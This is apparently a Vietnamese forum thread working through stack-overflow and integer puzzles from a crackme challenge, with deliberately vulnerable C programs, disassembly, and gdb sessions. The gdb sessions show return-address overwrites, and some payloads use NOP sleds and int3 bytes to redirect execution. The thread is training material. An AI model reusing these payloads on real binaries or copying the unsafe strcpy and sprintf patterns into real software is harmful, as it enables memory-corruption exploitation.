int main(int argc, char **argv) {
    if (argc != 2) 
        return 0;
    safe_strcpy(argv[1], strlen(argv[1])); 
 }
 
 void safe_strcpy(char* mybuffer, char mylen)
 {
    char maxlen = 63;
    char buffer[64];
 
    if(mylen < maxlen)
    {
              strcpy(buffer, mybuffer);
     }
}

if(mylen < maxlen) luôn đúng

lea eax, [ebp - dest] //dest = -44h = 68

gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)(gdb) disassemble safe_strcpy 
Dump of assembler code for function safe_strcpy:
0x080484b0 <safe_strcpy+0>:     push   %ebp
0x080484b1 <safe_strcpy+1>:     mov    %esp,%ebp
0x080484b3 <safe_strcpy+3>:     sub    $0x58,%esp
0x080484b6 <safe_strcpy+6>:     mov    0xc(%ebp),%eax
0x080484b9 <safe_strcpy+9>:     mov    %al,0xffffffff(%ebp)
0x080484bc <safe_strcpy+12>:    movb   $0x3f,0xfffffffe(%ebp)
0x080484c0 <safe_strcpy+16>:    mov    0xffffffff(%ebp),%al
0x080484c3 <safe_strcpy+19>:    cmp    0xfffffffe(%ebp),%al
0x080484c6 <safe_strcpy+22>:    jge    0x80484db <safe_strcpy+43>
0x080484c8 <safe_strcpy+24>:    add    $0xfffffff8,%esp
0x080484cb <safe_strcpy+27>:    mov    0x8(%ebp),%eax
0x080484ce <safe_strcpy+30>:    push   %eax
0x080484cf <safe_strcpy+31>:    lea    0xffffffbc(%ebp),%eax
0x080484d2 <safe_strcpy+34>:    push   %eax
0x080484d3 <safe_strcpy+35>:    call   0x8048378 <strcpy@plt>
0x080484d8 <safe_strcpy+40>:    add    $0x10,%esp
0x080484db <safe_strcpy+43>:    mov    %ebp,%esp
0x080484dd <safe_strcpy+45>:    pop    %ebp
0x080484de <safe_strcpy+46>:    ret

gdb) break *safe_strcpy +46


(gdb) run `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "B" * 4 + "C" * 100'`

Breakpoint 1, 0x080484de in safe_strcpy ()
(gdb) x/100xb $esp
0xbffff64c: 0x42 0x42 0x42 0x42 0x43 0x43 0x43 0x43
0xbffff654: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff65c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff664: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff66c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff674: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff67c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff684: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff68c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff694: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff69c: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff6a4: 0x43 0x43 0x43 0x43 0x43 0x43 0x43 0x43
0xbffff6ac: 0x43 0x43 0x43 0x43 

(gdb) run `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/twilight/crackme.de/choc/bai3 `python -c 'print "A" * 72 + "\x4c\xf6\xff\xbf" + "\x90"* 100 + "\xcc"'`

Breakpoint 1, 0x080484de in safe_strcpy ()
(gdb) continue
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap. 

$ ./puzzle3 `perl -e 'print "A" x 320'`
 

int main(int argc, char **argv) {
    if (argc != 2) 
        return 0;
    safe_strcpy(argv[1], strlen(argv[1])); 
 }
 
 void safe_strcpy(char* mybuffer, char mylen)
 {
    char maxlen = 63;
    char buffer[64];
 
    if(0 < mylen < maxlen)
    {
              strcpy(buffer, mybuffer);
     }
}

int main(int argc, char **argv) {
if (argc != 2)
return 0;
safe_strcpy(argv[1], strlen(argv[1]));
}

void safe_strcpy(char* mybuffer, char mylen)
{
char maxlen = 63;
char buffer[64];

if(0 < mylen < maxlen)
{
strcpy(buffer, mybuffer);
}
} 

if(0 < mylen < maxlen)

if((0 < mylen) &&(mylen < maxlen))

twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 257'`
v (core dumped) 

twilight@h4x0r:~/crackme.de/choc$ ./bai3 `python -c 'print "A" * 319'`
twilight@h4x0r:~/crackme.de/choc$ 

Cứ như thế, nó sẽ có từng khoảng từng khoảng rờ rạc nhau có thể làm cho chương trình bị Segmentation fault, nếu bác nào có shellcode quá lớn cho mục đích nào đó, cứ dùng các bit cao từ 9 trở đi

Có lẽ các bài này hơi khó, nên đến giờ, ngoài bạn lamer ra, vẫn chưa có bạn nào submit lời giải hết trơn. Àh mình muốn thêm một yêu cầu nữa: ngoài phân tích lỗi, đưa cách khai thác, thì phải viết luôn phần sửa lỗi nha.

Bài 4 này có vẻ dễ nè (bạn lamer thôi đừng làm bài này, mình sẽ có bài khác dành cho bạn :p):

Code:

#include <stdlib.h>
#include <stdio.h>

void func(char *p) {
   char buf[10+1];
   memset(buf, 0, sizeof(buf));
   
   // 10 chars only
   sprintf(buf, "%10s", p);
   printf("Hello, %s\n", buf);
}

int main(int argc, char **argv) {
   if (argc != 2)
       return 1;

   func(argv[1]);   
}

 

s= byte ptr -0Ch
arg_0= dword ptr 8

push ebp ; Alternative name is 'gcc2_compiled.'
mov ebp, esp
sub esp, 18h
add esp, 0FFFFFFFCh
push 0Bh ; n
push 0 ; c
lea eax, [ebp+s]
push eax ; s
call _memset
add esp, 10h
add esp, 0FFFFFFFCh
mov eax, [ebp+arg_0]
push eax
push offset format ; "%10s"
lea eax, [ebp+s]
push eax ; s
call _sprintf
add esp, 10h
add esp, 0FFFFFFF8h
lea eax, [ebp+s]
push eax
push offset aHelloS ; "Hello, %s\n"
call _printf
add esp, 10h
mov esp, ebp
pop ebp
retn
func endp 

(gdb) run `python -c 'print "A" * 16 + "B" * 4'`
Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "A" * 16 + "B" * 4'`

Breakpoint 1, 0x080484c9 in func ()
(gdb) continue
Continuing.
Hello, AAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/20xb $esp

0xbffff6c0: 0xf5 0x85 0x04 0x08 0xdc 0xf6 0xff 0xbf
0xbffff6c8: 0x0a 0xf9 0xff 0xbf 0xaa 0x9d 0xea 0xb7
0xbffff6d0: 0xa4 0xd1 0xfd 0xb7 0x35 0xa6 0xea 0xb7
0xbffff6d8: 0xe8 0xf6 0xff 0xbf 0x41 0x41 0x41 0x41
0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
(gdb) run `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'`
Starting program: /home/twilight/crackme.de/choc/bai4 `python -c 'print "\x90" * 15 + "\xcc" + "\xdc\xf6\xff\xbf"'`

Breakpoint 1, 0x080484dd in func ()
(gdb) continue
Continuing.
Hello, �����������������

Program received signal SIGTRAP, Trace/breakpoint trap.
0xbffff6ec in ?? ()
(gdb)


 

Tui đọc tới đọc lui, đọc xuôi đọc ngược mà chả thấy bài 2 có bug gì cả. Đại ca _choc chỉ giùm em đi. Làm sao mà nó crash được, hay vậy ? 

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
int x, y, z;
if (argc != 3)
return 0;
x = atoi(argv[1]);
y = atoi(argv[2]);
z = y?x/y:0;
printf("z=%d",z);
return z;
} 

twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1
z=2147483647
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1
z=2147483647 

kiểm chứng lỗi

twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483647 1
z=2147483647
twilight@h4x0r:~/crackme.de/choc$ ./bai2 2147483648 1
z=2147483647 

 

$ ./a.out -2147483648 -1 

Bài 2 :
Divide INT_MIN by -1 cause DDOS .

$ ./a.out -2147483648 -1 

 

0SAT0 wrote:

Bài 2 :
Divide INT_MIN by -1 cause DDOS .

$ ./a.out -2147483648 -1 

 

Aha, sao lại quên nghĩ đến điểm này
Signed number, ví dụ với int thì là -2147483648 đến +2147483647
Do vậy khi đảo dấu của -2147483648 thì sẽ thành +2147483648 --> out of range.

Tuy nhiên lỗi này gây ra do phép chia chứ chưa đến "công đoạn" return như choc_ gợi ý? 

./puzzle7 "`python -c 'print "\x08" + "vnhacker" + "\x03" + "org" + "\x00"'`"
your domain is: vinagame.com
 

#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 256

char* get_domain(char* input) {
   int c;
   char name[MAX_LEN];
   memset(name, '\0', sizeof(name));
   c = (char)*input;
   while (c) {
      if ( strlen(name) + c < (MAX_LEN - 1) ) {
          (char *)input++;
          strncat(name, (char *)input, c);
          input += c;          
          c = (char)*input;
          strcat(name, ".");
      } else {
          fprintf(stderr, "something wrong happened!\n");
          c = 0;
      }
   }
   name[strlen(name)-1] = '\0';
   return name;
}

int main(int argc, char **argv) {
   if (argc != 2) 
      exit(0);   
   char* domain = (char *) get_domain(argv[1]);
   printf("your domain is: %s\n", domain);
   return 0;
}